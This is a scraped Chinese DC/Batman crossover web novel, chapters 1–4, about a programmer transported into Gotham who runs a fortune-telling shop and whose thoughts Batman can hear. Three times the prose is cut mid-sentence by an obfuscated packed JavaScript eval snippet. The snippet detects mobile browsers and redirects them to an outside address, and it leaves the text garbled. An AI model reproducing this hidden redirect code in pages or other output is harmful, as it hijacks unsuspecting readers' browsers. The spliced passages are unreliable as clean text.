《[综英美]这个世界还能不能有点隐私？》 1. 第 1 章 凌晨2:30，卡修斯和酒吧的同事道了别，推开了酒吧后门下班回家。 天空飘起了细细的雨丝，他裹紧衣领，戴好兜帽，埋着头匆匆赶路。 哥谭凌晨的街道安静、冷清。卡修斯走的很快，精神也处于高度警惕的状态。必须得承认，即便已经在这儿生活了三个月，他还是没办法适应这种“普通人最好不要走夜路”的城市。 是的，卡修斯并不是哥谭的原住民，准确来说，他甚至不属于这个世界。 三个月前他还是拥有身份证和户口本的合法华国居民，不过是搭了趟飞机而已，就直接飞到了另外一个维度。 说“飞”也不是很准确，他的航班遇到了无法用科学解释的磁暴，在不得已穿越磁暴区的时候，机翼被损坏，飞机直接在磁暴中失速解体。他本以为自己必死无疑，但醒来的时候，发现自己竟躺在完全陌生的街道上。 衣衫单薄，身无分文。 看着街道两旁的英文店招，卡修斯最开始还以为地狱审核员根据他混血的长相，把他分配到了外国的地狱。 直到一个背包从天而降。 卡修斯下意识接住了它。 昏暗的灯光下一个巨大的黑色身影遮住了他的身影。 “收好自己的东西，不要在哥谭走夜路，外乡人。” 暗哑粗粝的声音从这个身影的头部位置传来，乍听到这种音色的人，大概都会被这种恐怖的喉音吓住。 卡修斯确实被吓到有点说不出话来，他大张着嘴，脑子里一片空白。 这个目测身形高达六英尺的巨大阴影并没有在意卡修斯惊恐到失语的状态，就好像他对此已习以为常。 黑影从原本裹住他全身的披风中伸出手，带着冷光的臂刃铠甲在卡修斯的脸上投下阴影，他手中握着的枪射出抓钩，“嗖”一声，黑影展开披风，顺着抓钩枪的拉力跃上不远处的墙头，两个呼吸之间就消失在了卡修斯的视野里。 直到黑影消失了有三分钟的时间，卡修斯才大喘一口气。 理智渐渐回笼，他的眼珠艰难地转动，一手抓紧刚刚得到的“装备”——一个小背包，一手将地上被风吹到他面前的报纸捡起来看。 全英文的报纸上赫然印着两个巨大的单词：Gotham Gazette（哥谭公报）。 他缓缓地站起身，眼神掠过周围低矮的建筑望向远处，那里有个高耸入云端的塔状结构建筑，一个大大的“W”形状的LED灯幕穿透这个城市夜色中浓重的雾霭，投射到他的瞳孔之中。距离这个最显眼的尖塔建筑不远的厚重云层上，有一坨清晰的圆形射灯投影，那是一个蝙蝠形状的logo。 一艘只在影视作品中出现的飞行汽艇由远及近地从卡修斯头顶缓缓驶过。感谢5.0的视力，让他能在如此昏暗的情况下看清汽艇上硕大的字迹——GCPD。 耶稣那个基督啊，这是给他干哪儿来了？蝙蝠侠？哥谭公报？GCPD？他是顺着磁暴掉到民风淳朴的哥谭市了吗？ 他又没做什么社死的事，凭什么要换个宇宙生活？ 但无论卡修斯怎样无能狂怒，掉到哥谭好像已经是无法改变的事，而且他还是要感谢蝙蝠侠，及时给他送来“装备”。 背包里的美金解决了他的燃眉之急，足以让他在来到这个陌生世界的第一天，避免露宿街头的凄惨命运。 只是这个背包里没有任何关于他身份信息的人，卡修斯不知道这个背包原本的主人，也就是他这具身体的主人是不是死了。 即便开场就是Hard模式，但卡修斯还是非常珍惜这次新的生命，这是没有真正经历过空难和死亡的人无法理解的。 三天后，卡修斯已经接受了自己从平平无奇的法治社会死到“人杰地灵”的哥谭市这个事实。 一周后，他为自己在中国城找了份酒吧的夜班工作。 要问他为什么要在哥谭上夜班，还能为什么？当然是因为夜班钱多。 他也想找一份朝九晚五的普通工作，但他现在是一个不知道自己真实过去，并且没有任何身份信息的黑户，正经公司怎么可能录用他这样的人？ 身份不详的卡修斯只能在哥谭寻找对身份信息卡的不那么严格的工作——背包里的钱并不算多，只出不进的话，根本不足以维持他一个月的生活花销。 好消息是，在哥谭，不需要严格身份信息的工作有很多，他们大多都是违法的。酒吧的夜班工作是卡修斯能选择的最好工作，混血的长相和熟练的中文让他在酒吧里拿到了比普通亚裔更高的工资。 一个月后，卡修斯用打工攒的钱租下了犯罪巷沿街二楼的一间店铺。 一楼的租金太贵，二楼的价格就刚好。而且这里斜对面就是著名的莱斯利诊所。任何一个理智尚存的犯罪分子大概都不想在一家以价格低廉著称的慈善诊所周围造次，更何况，卡修斯知道这里还是蝙蝠侠的御用诊所。 他对自己的选址相当满意。 两个月后，一家名为“命运纺车”的占卜店开始在犯罪巷小有名气。 占卜店的业务范围非常广泛，包括但不限于星座占卜，恋爱咨询，运势推算以及失物寻找。 很快，很多黑邦分子也开始进出“命运纺车”，因为据说店里名字叫关公神像很灵，拜一下，就不容易在下次犯罪的时候遇到蝙蝠侠。 这当然是迷信。 不过，卡修斯觉得，越是亏心事做的多的人，就越尊重玄学——要不然为啥很多D贩都信佛拜佛，还为寺庙捐金身呢？ 你问卡修斯在穿越以前是干什么的？ 哦，他是个大厂码农。 嗯？那为什么不在哥谭找一份性质差不多的工作？ 不是他不想，主要是这个世界的科技树主打一个胡乱生长，蒸汽飞艇和超音速飞机齐飞，诺基亚和虚拟投屏技术共舞，非常考验卡修斯学院派的计算机技能和唯物主义世界观。 而且科学的尽头就是玄学，连蝙蝠侠都有扎塔娜这样的医生朋友，程序员转行去算命有什么大不了的？毕竟他都已经换了个宇宙生活了。 对于没有合法身份的卡修斯来说，创业开个占卜店比用假身份在哥谭正规企业里做牛马容易多了。 不过酒吧的夜班工作他也没有辞掉，卡修斯打算多存一点钱，然后离开哥谭，去大都会定居。 以目前的存钱进度来说，距离凑够在大都会的房租至少还要三个月的时间。 大都会因为超人的存在，房价和安全性一样，始终持续走高。卡修斯查了一下，发现那里的房价每年都在涨，房租也年年在涨。 他很怀疑再这么涨下去，超人本人可能都住不起大都会了。 总而言之，三个月的时间，让卡修斯接受了命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180816|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运，并且努力让自己的生活重新走上了正轨。 唯一美中不足的就是，夜班回家的路上总让人有些提心吊胆。卡修斯每次回家都要带好兜帽，将当初在背包夹层中发现的武器好好戴在身上，才能找到些许的安全感。 说起来他还要感谢蝙蝠侠，他大概没有检查过背包里的东西。如果蝙蝠侠提前检查过背包，肯定不会这么轻易还给他，甚至不会轻易放他离开。 依然赞美蝙蝠侠，开局送钱送装备。 走过最后一个转角，看到不远处二楼廊灯的淡淡的微光，卡修斯终于松了口气。今天又是安全回家的一天呢！ 潮湿的夜雨裹挟着哥谭特有的铁锈味，廊灯上蒙了一层水珠，“命运纺车”四个篆体字被水汽熏染的朦胧，下面小几号的花体英文单词也变得模糊不清。卡修斯打开门回到屋中，随着铁门合上，他才终于安心地呼出一口气。 他搓了搓手，将被雨淋湿的外套丢进脏衣篮，又换上舒适的居家服，洗手，焚香，抽卡。 隐士。 他挑了挑眉，将牌放在一边，坐到书桌前，掀开笔记本电脑屏幕，点进“命运纺车”的个人站，开始更新今天的12星座运势。 …… 双鱼座今日运势 事业：★★ 财运：★★★ 爱情：★★★★ 综合：★★★ 今天对你来说是一个充满意外和变革的日子，你所表现出来的善良和正义会使你收获出人意料的关系，这份美好的邂逅也许会构成你今后生命中不可或缺的一部分，勇敢的跟随自己的内心吧，这将为你的未来增添新的色彩！ 卡修斯打下最后一句话，按下了提交。 新的12星座运势立即图文并茂的展示在了最新更新下。 他靠向椅背，伸展双手，用力伸了个懒腰，准备马上钻进自己温暖的被窝，一条最新评论的红点延迟了他滚去睡觉的时间，卡修斯点开评论，发现是他建站以来就一直在追他的星座运势更新的粉丝。 卡修斯下意识看了眼时间，已经凌晨三点。 这位粉丝也是不睡觉夜班吗？ 最新评论： 大都会普通市民CK：沙发！博主好准，看我今天这么晚在线，就知道肯定是事业不顺啦！昨天辛苦写了一天的稿子临下班被主编打回来重写，这个点儿我刚刚写完。sad。今天晚一点时间，我的另一份义工工作还有会议，会议的主要内容就是批判我在之前工作中造成的损失。真的好想逃避现实啊！总之，可以预料到今天会是艰难的一天。唯一值得安慰的就是出差两周的妻子今天就要回家啦！我太想她了，今天特别为她安排了一个小小的惊喜，但是要找我同一个义工组织的同事换班，希望他能同意！（他一定会同意的，虽然大多数时候他总是让人生气到想把他的头拧下来，但他是个好人。）总之希望五星爱情照耀着我，PS：（发现博主在哥谭居然有线下店，希望博主生意兴隆，早日在大都会开分店，我会经常光顾的！）【太阳.jpg 卡修斯将这份长长的留言看了好几遍，随后回复：我夜观星象，你为妻子准备的小惊喜一定会顺利的，加油！以及，会有机会的。 等做完这一切，他终于起身站到窗边，打算拉上窗帘去睡觉。 忽然，卡修斯发现斜对面莱斯利诊所外似乎站着一个身影。 2. 第 2 章 卡修斯揉了揉眼睛，努力将脸贴上窗，鼻尖在玻璃内外温差形成的雾气中压出一个清晰的圆形印记。 诊所门口的路灯在黑影抵达的一秒之后就暗了下去，那影子立刻和浓重的夜色融为了一体，消失得如同从未出现过，但卡修斯确定自己刚才看清楚了。 他的手忍不住按上桌面，刚好盖住了那张“隐士”。 自从穿越第一天，在蝙蝠侠那儿喜提“新手大礼包”之后，卡修斯再也没见过这位都市暗夜传说。 穿来这个世界之前，大学时代的卡修斯沉迷过一段时间美漫，就像所有喜欢英雄故事的热血少年一样，他也有最喜欢的超级英雄，当年他所有社交平台的签名都是“我永远喜欢蝙蝠侠！” 但鉴于编辑部三天两头的骚操作，力图创死每一个还在DC坑里的受害者之后，卡修斯也渐渐不再追漫画。 当然，这也跟他步入社会，生活和工作压力变大有关。996的福报温暖每一个还没有秃的大厂员工，码农更是重灾区，每天眼一睁就得写代码，眼一闭，立即不省人事。快节奏的工作和生活让卡修斯连谈恋爱的时间都没有，失去了世俗欲望的他生活里只剩下工作和睡觉，工作是为了赚钱，睡觉是为了有命花钱，漫画里天马行空的英雄故事也成了他记忆里褪色的角落。 所以，如果卡修斯是大学时代穿进蝙蝠侠的世界，他一定会摩拳擦掌大干一场，努力跟蝙蝠侠当同事，满足自己拯救世界的英雄梦想。但是现在，被编辑部和操蛋的现生创得体无完肤的卡修斯只想当个安静的路人甲。 被社会毒打过的他已经清楚地知道，在这个世界，英雄时常被辜负，勇气也总是被误解，英雄之路固然光芒万丈，但那都是用血泪铺成。 普通粉丝不要太靠近偶像的生活，以免变成被脑残粉针对的那条池鱼。 死过一次的卡修斯非常惜命，这是上天的恩赐，他不想轻易辜负。 所以，他虽然依旧崇拜蝙蝠侠，但绝不意味着希望自己在走夜路的时候碰到他，因为在他看来，看清蝙蝠侠跟遭遇致命危险没什么区别。 可通过自家窗口暗中观察可就不一样了。 卡修斯手忙脚乱地打开抽屉，从里面拿出一只望远镜直接怼在了窗口位置。 莱斯利诊所内部的灯亮了，一个尖耳朵黑影在窗帘上印出一瞬。 「蝙……蝙蝠侠，这儿终于刷出蝙蝠侠了！」 卡修斯在心里疯狂尖叫。 这波选址果然非常成功。 * 蝙蝠侠赤裸着上半身坐在莱斯利诊所内专属于他的医疗室床上，床边的医疗架上凌乱地堆放着擦过血迹的纱布。他的肩部，手臂，胸口以及腹部有多处利刃划伤，银发的年长女医生正在帮他缝合腹外斜肌处的伤口。 “嘶——” 他小声地吸了口气。 莱斯利缝好最后一针，才掀起眼皮看他。 “你的制服可是防弹的，怎么会被利刃划伤？” 蝙蝠侠看着自己的伤口，没有说话。因为他知道，莱斯利只是随口一问，并不是真的需要一个答案。 他本来在调查一桩D品走私案，给黑面具供货的是一伙俄罗斯黑邦，这是西恩尼斯费尽心力才搭上的新渠道，但根据他的调查，这伙俄罗斯人在此之前从未沾手过D品走私。以黑面具的狠毒和谨慎，他也绝不可能和一伙从未做过此类生意的人进行交易。 这让这场走私变得可疑起来。今晚，他跟着黑面具的秘书在城里转了好几圈，最后追到靠近亚当斯港口的米勒湾时，居然遇到了刺客联盟的阻挠。 交手后，他意识到，拉尔斯也许派了他最精锐的刺客来到哥谭。 如果连刺客联盟都参与到了这场“走私”中，那么他们交易的货物就绝不仅仅是D品这么简单。 果然，莱斯利并没有等待他的答案，“赶紧走，你不回去，阿尔弗没法安心休息。” 她不耐烦地开始赶人。 布鲁斯正是不希望看到阿尔弗隐含责备的忧心眼神，才选择在莱斯利这儿提前将伤口处理好。 不过就在莱斯利掀开帘子准备走出去的时候，蝙蝠侠想起一件事。 刚才进入诊所的时候，他好像忽然听到有谁在自己耳边喊了“蝙蝠侠”什么的，他本来有些震惊，不知道是谁居然在他毫无察觉的时候靠近了自己，可他转头观察了周围一圈，都没有发现任何活物，只有诊所斜对面二楼被廊灯照到的窗口，映出一个小小的圆形印记。 “对了，你知道斜对面二楼是什么人吗？” 蝙蝠侠问道。 莱斯利的脚步并没有停下，她开着治疗室的门，一边将推车上的药品放入旁边的药品柜，一边随意地问：“你问的是哪个？” “这么晚还开着店招廊灯的那家。” 莱斯利似是笑了一下。 “你说‘命运纺车’？那是一家占卜店，两个月前搬来的，店主是个年轻男孩，他说他叫卡修斯·希尔。看上去……和迪克年纪差不多。” “你对他了解多少？” 他身上的伤口已经缝合完毕，又用绷带包扎好，他正捞过制服重新穿上。 “冷淡，神秘。”莱斯利说着，微微笑了笑，“不过，这大概是他这个职业需要对外维持的气质，事实上，我觉得他是个好孩子。” 他不怎么和周围的店铺老板社交，不过，真有邻居需要帮忙的话，他也不会袖手旁观。她记得有一次，自己在处理大规模帮派械斗造成的群体受伤事件时，实在忙不过来，卡修斯就主动来诊所，礼貌地询问是否需要帮忙并得到肯定的答复后，立即帮她登记受伤人员，并按照伤情将伤员分类。 “对了，他的电脑技术也还不错，帮诊所优化了病患系统，还搭建了一个实时伤病处理平台，缩短了不少轻症的治疗时间。” 这都是那次之后，年轻人主动帮忙做的，所以莱斯利对他的印象相当不错。 蝙蝠侠沉吟了一阵，才说：“明天我会让提姆过来帮你看看这个系统。” 莱斯利重新走了进来，她白了还没戴头盔的布鲁斯一眼。 “已经让芭芭拉帮我看过了，没有任何问题。” “他有点不对劲。”布鲁斯已经重新戴上了他的头盔。 “怎么了？”莱斯利拧眉问。 “刚才我进来的时候，他好像看到我了。什么店铺老板，这么晚还不休息？” 莱斯利呵了一声，调侃似的讥讽道：“什么有钱阔佬，天天大半夜在外面飞来飞去，拳打恶棍，脚踢消防栓？” 蝙蝠侠“啧”了一声，嘟囔道：“我说认真的。” 莱斯利一把抢过蝙蝠侠偷偷从医疗床的床头柜里摸出来的小甜饼，说：“那孩子晚上在Misty酒吧上夜班，你来的时候，他大概刚到家。你的管家晚上不让你吃这个， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180817|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去啃点胡萝卜吧。” “这还是我放这儿的！”布鲁斯只有在莱斯利和阿尔弗雷德面前，才会难得地表现出一点真实的孩子气似的任性。 可以看着他长大的莱斯利女士不为所动，她无情地将小甜饼塞进自己嘴里。 “没收。” 蝙蝠侠将面罩戴好，用头盔内置的变声器发出了一声低沉的“哼”。 可惜莱斯利并没有被恐吓到。 “你要是真觉得他可疑，这会儿可以去他家看看……哦，对了，他就住在店里。反正蝙蝠侠从不在乎非法入室，不是么？” 布鲁斯已经从床沿站了起来，他一边向诊所外走，一边说：“我当然会去。” 说罢，黑色的披风就消失在了诊所中。 莱斯利摇了摇头，打了个哈欠，关掉了诊所的灯。 * 卡修斯当然还没有睡觉，他站在窗前，始终盯着亮着灯的莱斯利诊所，即使已经什么都看不到了，心里也有个小小的角落小声地期待着能再看一眼蝙蝠侠的背影。 从没追过星的卡修斯现在终于理解了那些追星女孩在机场苦等几个小时，就为了看一眼爱豆侧脸的心情。 直到诊所的灯暗了下去，卡修斯也没有再看到那抹黑色的暗影。 他有些失望地将额头抵在窗口上，深深地叹了口气。 正准备回去睡觉时， 窗外朦胧廊灯下出现一抹黑影。 卡修斯猛地吸了口气，然后突兀地屏住呼吸。 因为他和偶像蝙蝠侠之间，只隔了一个橱窗的距离。 蝙蝠侠此刻正站在他面前。 他将整个身躯包裹在披风里，昏黄的廊灯勾勒出他诡异的轮廓，雨水在黑影的头盔尖角位置透出幽暗的反光，他的披风和黑暗融为一体。卡修斯觉得自己甚至能听到雨水顺着蝙蝠披风滴落的声音。 虽然他的这扇窗玻璃是单向的，但过近的距离还是让卡修斯忍不住担忧起来。 「不会吧不会吧，这个单向玻璃会不会挡不住他高科技的护目镜，他不会看到我了吧？！」 他表面上眼珠都不敢转了，但在心里大喊大叫。 蝙蝠侠原本是想要悄悄进屋查看的，但他站在廊灯下的窗前时，再次听到了之前听到的，和“……蝙蝠侠……”一模一样的音色。 护目镜上的热成像功能清晰地照出那个仅隔着两块玻璃的橙色轮廓。 蝙蝠侠知道，他和这家“命运纺车”的老板仅一窗之隔。 「他为什么站在这里不动？我有点害怕啊……不对，我又不是反派，我为什么要害怕？」 「他去莱斯利诊所，是不是受伤了？不过用披风裹成这样，什么也看不到啊！哎，要是我也有超人的X光就好了，就要战损蝙，就要战损蝙！」 「哇！近距离看蝙蝠侠果然好有压迫感啊！轻甲的他都这么有威慑力，重甲蝙蝠侠岂不是更威武雄壮？」 源源不断的中文如同火车般从蝙蝠侠的脑子里呼啸而过，聪明的侦探当然不会认为对方在隔着玻璃自言自语。 他确定最近并没有睡眠严重缺乏到出现幻听的地步，一周之内也没接触过任何魔法元素。 排除一切不可能，剩下最后那个，无论多不合理，都是答案。 他能听到玻璃对面那个人的心声。 卡修斯·希尔是吧，你成功引起了我的注意。 3. 第 3 章 「等一下，据说蝙蝠侠过目不忘，他不会认出我了吧？」 蝙蝠侠被护目镜遮住的眉眼动了动，他保持着不动声色的姿势，想要从接下来对方的内心活动中知道，他和这位能被听到心声的可疑人物到底在什么时候见过面。 「我刚来，你带着新手大礼包从天而降，就像是为我而来，没有你，刚经历过生死局的我大概会再死一次，这缘分，不愧是我的偶像！」 卡修斯思绪飞奔的时候，蝙蝠侠则从他脑内大量充满不必要感情.色彩的修饰中提取关键字，成功回忆起三个月前，自己在哥谭老城的街道上遇到的那个被抢劫的外地人。 当时便士一在通讯里向他汇报监控到的这起抢劫案，原本蝙蝠侠是要先去救人的——便士一说，监控拍下来的受害者疑似急症发作，倒地后已经许久没动静了。但是等蝙蝠侠快要抵达附近时，便士一再汇报，说人已经醒了，而趁受害者倒地昏迷时“顺手”抢走背包的人距离蝙蝠侠仅50米。 所以蝙蝠侠先从那个顺手牵羊的街头混混手里拿回背包，然后才去了受害人身边。 当时他观察了受害人十几秒，对方虽然明显受到了惊吓，但眼神清明，不像突发急性病或者D瘾的样子。他将背包还给他，又隐蔽在远处短暂观察了一会，直到看见他步履稳定地走远，才离开。 原来是他。 不过刚才的那段话也有一些让蝙蝠侠暂时不理解的地方。他为什么把属于自己的东西形容成“新手大礼包”？还有，什么叫“差点再死一次”？ 他在昏迷前经历了什么？或者说，他在来哥谭前，经历过什么？ 这家店的窗户被改造成了橱窗的样式，原本的窗玻璃被改成单面镜，延伸出来的其他面则是普通玻璃。一套精美的塔罗牌被精巧地堆叠成一个立体的纺车形状，陈列在橱窗最中心的位置，周围精心点缀着若干神秘学工具——但在他看来，这都是骗人的玩意。 他侧过头观察橱窗旁的卷帘闸门，门框顶部安装的摄像头镜头正略微偏向他的方向，仿佛正在和他对视。 根据莱斯利的描述，这个叫卡修斯·希尔的年轻人应该是准备在这儿住很长一段时间。 很少有外地人会选择来哥谭发展，而会选择来哥谭定居的外乡人，不是身份有问题，就是身负罪案，潜逃至此。 那么，卡修斯·希尔是属于哪一种呢？ 单向玻璃后的橙色影像依然一动不动，但对方的心理活动却不像外表这样沉得住气。 在蝙蝠侠根据现有的信息评估他的危险性时，对方已经在脑内演完了自己和蝙蝠侠的一生。 从浪漫邂逅到并肩作战，接着相知相爱（？），最后生了个小蝙蝠侠。 蝙蝠侠：…… 短短几分钟，蝙蝠侠在他脑海里的身份已经从偶像变成了老婆。 好别致的想象力，危险到可以进阿卡姆的程度。看来是蝙蝠侠的拳头还不够硬。 不过这也让原本打算夜探的蝙蝠侠迟疑地停下了脚步。 他看了看便士一已经闪动了一阵子的请求通讯的信息，算了，找机会白天来调查吧。 今晚先回去把他做成表。 卡修斯看到蝙蝠侠动了，他踏上防火梯的栏杆，张开蝠翼似的披风，倏地跳了下去，瞬间消失在了黑暗中。 「哇！麦外敷连跳楼的姿势都这么帅！prprpr！」 蝙蝠侠的战术靴重重踩上地面溅起水花，他没有呼叫蝙蝠车来接他，而是一步步朝着巷外走去。 他在心里计算着距离，直到距那间店铺差不多有15米直线距离时，那叽叽喳喳的声音才终于从自己脑内消失。 “Master，是遇到什么麻烦了吗？我看到你的坐标已经停在莱斯利诊所附近超过了半小时，你关闭了通讯，而夜巡本应该在45分钟前就结束了。” 蝙蝠车启动，缓缓加速朝蝙蝠洞的位置驶去，车内通讯传来阿尔弗雷德的声音。 “是有一些问题，不过暂时不紧急。我这就回来。”蝙蝠侠沉声回应道。 “有什么能为您效劳的？”便士一问。 蝙蝠侠本想让对方先去休息，但他知道这话根本不用说出口。这么多年，无论自己回去得多晚，总会在洞里见到等待他的管家。 “你还记得三个月前，监控拍到的一个突然昏迷，被顺走背包的受害者吗？”蝙蝠侠将车调至自动驾驶，问道。 便士一想了想，说道：“记得，您耽误时间是因为遇到了他？” “算是吧……”蝙蝠侠小声含糊了一句，听到通讯里传来敲击键盘的声音，是便士一已经在帮他收集关于这个人的身份信息。 “咦？” 蝙蝠侠听到耳机里传来一声疑惑。 “是找不到他的身份信息吗？”蝙蝠侠了然地问。这和他的猜测差不多。 “是的，我调出三个月前的夜巡日志，通过他的面部图像对比数据库，没有查到这个人的相关信息。” “他叫卡修斯·希尔。” 他将从莱斯利那里得到的名字提供给便士一。 又是一阵键盘敲击声，之后阿尔弗雷德说：“他在犯罪巷开了一家叫‘命运纺车’的占卜店，没有营业执照，也不怎么合规。他没有银行卡，也没有任何登记在案的电子信息，最早的身份信息只有在三个月前，他用‘卡修斯·希尔’这个名字在老城区的一家家庭旅馆里住了一周，用的是现金。网上关于‘命运纺车’的社交讨论里，说这家占卜店只接受现金交易。” 便士一停顿了一下，总结道：“他出现在哥谭前，没有任何记录在案的身份信息。” “那么就是说，在他来到哥谭前，用的不是卡修斯·希尔这个名字。” 蝙蝠侠说。 便士一顺着日志中卡修斯昏倒的影像往回追溯，找了很久，居然都没找到他到底是从哪条路走到那条被拍到的路上的。 “暂时找不到他之前的行动轨迹。” 短时间内，便士一没有足够的信息查出他到底是怎么进入哥谭的。 “在被拍到之前，他的行踪很隐蔽，有意选择了摄像头最少的道路。”便士看着多个屏幕上回放的哥谭道路监控影像，玩笑道：“看来您无意间救了位危险分子？” 说话间，蝙蝠侠已经抵达了蝙蝠洞。 他将车停到车库，从驾驶室出来时，已经摘掉了头盔，露出了他潮湿的头发。 雨水没有在他的制服上留下太多痕迹，但顺着他的披风，也在蝙蝠洞灰色的大理石地板上留下一串断断续续的洇湿。 “我该感动于您终于改掉了边走边乱扔衣服的陋习吗？” 阿尔弗假装没看到他制服上的划痕和血污，故意说道。 布鲁斯立刻顺杆而上：“当然，感谢您多年的谆谆教诲。” 阿尔弗翻了翻眼睛，将主控台的位置让了出来，自己则去储物间将早已准备好的夜宵端了上来。 布鲁斯已经将注意力集中在屏幕上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180818|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关于卡修斯·希尔的相关信息里。 “从现有的信息来看，这位年轻的先生除了身份可疑之外，在哥谭的这些日子以来没有做过任何危险的事。我很好奇，他到底是如何引起您的注意的？” 阿尔弗将刚冲好的蛋白粉递给布鲁斯。 布鲁斯将饮品一饮而尽，又斟酌了一会儿，才说：“说出来你可能会觉得我有病。” 阿尔弗挑眉：“说说看。” “我好像能听到他的心声。”布鲁斯快速地说道。 阿尔弗郑重点点头，关切道：“需要为您联系戴娜女士吗？*” 布鲁斯一副“我说什么来着”的表情，斜眼看着他的管家。 “我很确定，这不是幻觉。” 阿尔弗想了想，问道：“您现在能听到我在想什么吗？” 布鲁斯：“我的少爷机智又勇敢，为他服务真是三生有幸。” “看来你的读心术目前只针对这位希尔先生。”阿尔弗确认道。 “呵，又一个‘不是我有问题而是他有问题’的有力佐证。”布鲁斯撇了撇嘴，点开一个危险人物档案的模板，开始制表。 阿尔弗看了眼正在填表的布鲁斯，问：“要通知提摩西少爷吗？有他协助调查的话，想必我们会更快得到希尔先生的真实信息。” “不，我说过，关于他的身份，目前不重要也不紧急。提姆还在跟进黑面具走私的案子，我希望他能够全神贯注。” 说话间，布鲁斯已经快速将这份名为“卡修斯·希尔”的表初步制作完成。 阿尔弗侧头瞄了一眼，挑眉道：“你的大部分信息都是从莱斯利那儿得来的？” 身高年龄肤色发色瞳色之类的基本信息后面都加了来源备注。 他很了解自己的少爷，在明知道对方可疑的情况下，没有第一时间进行验证，这有点不寻常。 布鲁斯想到了对方变态的很别致的心理活动。 “他有点奇怪，我需要更周详的调查计划。”他含糊地解释道。 “定义一下‘奇怪’？”阿尔弗更好奇了。 蝙蝠侠很少用这种宽泛又抽象的词去形容一个嫌疑人。 而被询问者有点不耐烦地“啧”了一声，拒绝回答这个问题。他关掉了和卡修斯相关的文件和页面，又打开另一个文件夹。 “希望您知道，现在已经接近凌晨4点。”管家看着明显打算继续工作的布鲁斯，忍不住出声提醒道。 “你可以先去休息。”布鲁斯的眼睛仍盯着电脑，低声咕哝着。 这是罗宾发给他的一份潜入计划：面具帮和俄罗斯人明天会在中国城的Misty酒吧进行一场秘密交易。提姆认为他们的交易内容很可能包含这次走私的D品样本和一些关于样本的详细资料，并打算以“卡洛琳·希尔”的身份变装混入，伺机夺取这些东西。 “我在这里陪着您。”阿尔弗将桌上喝完的杯子收走，随后走到装备区，将蝙蝠侠卸下的腰带一格一格打开，检查和保养里面的物品。 布鲁斯无奈地看了管家一眼，关掉电脑：“好吧，这就上去睡。” “感谢您的体贴。”阿尔弗放下了手中的装备，随他一起上了楼。 等白天的时候，他会和提姆核对一些潜入酒吧的细节。布鲁斯打算和提姆一块儿去，因为他注意到，这个酒吧刚好是莱斯利提到的，卡修斯·希尔上夜班的酒吧。 无论是巧合还是什么其他原因，他都该亲自走一趟。 4. 第 4 章 傍晚五点半，卡修斯锁上店门，步行前往Misty。 大概是因为淅淅沥沥下了一天小雨的原因，今天店里的生意不太好，来光顾他生意的客人不超过三个。所以卡修斯早早结束了营业，提前出了门。 星座运势占卜出今天双鱼座的事业只有两颗星，店里寥寥无几的生意已经印证了这一点，所以，卡修斯要更加谨慎地对待接下来的工作。 步行20分钟后，他抵达了目的地。刚打算推门进去，就看到同为酒吧雇员的加登·霍尔扛着工具箱和梯子走了出来。他看到卡修斯后眼前一亮，立即笑容满面地迎上去，将手里的工具箱往卡修斯怀里一塞。 “你来得正好，招牌灯坏掉了一个，修一下。” 他殷勤地帮卡修斯摆好梯子，又故作友好地拍了拍卡修斯的肩膀：“交给你，绝对没问题！” 说罢，他根本不给卡修斯拒绝的机会，火速闪人，重新走进酒吧。 卡修斯瞪着手里的工具箱看了一会儿，又抬头看向店招，果然，店招字母MISTY中的“S”光芒暗淡地在其他几个霓虹色字母之间有气无力地闪烁。 霍尔是这里出了名的滑头鬼，又懒又精明。遇到脏活累活和难缠又小气的客人，他躲得飞快，但遇到漂亮女孩和小费给得豪爽的客人，他又总是第一个凑上去。他自封为酒吧服务主管，常常对其他人颐指气使，可大家也都敢怒不敢言，因为据说他和酒吧的大老板是亲戚。 卡修斯当然也不想惹这个麻烦。在这儿上班三个月，他只知道酒吧老板是个女的，却从没见她出现过，听说老板有黑邦背景。当然，敢在哥谭这种地方开酒吧的，怎么可能会是普通人？ 况且，Misty是哥谭中国城最大的酒吧，它的知名度虽然无法和坐落在钻石区的冰山餐厅相比，但在这里，你同样也能获得你想要的任何东西，也有可能失去你不想失去的任何东西，在这两个“任何”里，除了情报，当然也包括人命。 两颗星，顺应天命吧。卡修斯摸了摸藏在右手小臂下的“防身用具”，放弃了找机会把霍尔骗出去套麻袋揍一顿的念头。 今日的综合运势依然有三颗星，说明双鱼座的自己依然能够安然无恙地度过这一天。 至于代表爱情的那五颗星，卡修斯在心里撇了撇嘴。不是他有偏见——好吧，就是偏见。他实在想象不出在当下所处的城市和马上要进入的工作场所里，怎么可能会出现占卜中的满分爱情。 他认命地从工具箱里拿出一条新的灯带，顺着梯子爬了上去。 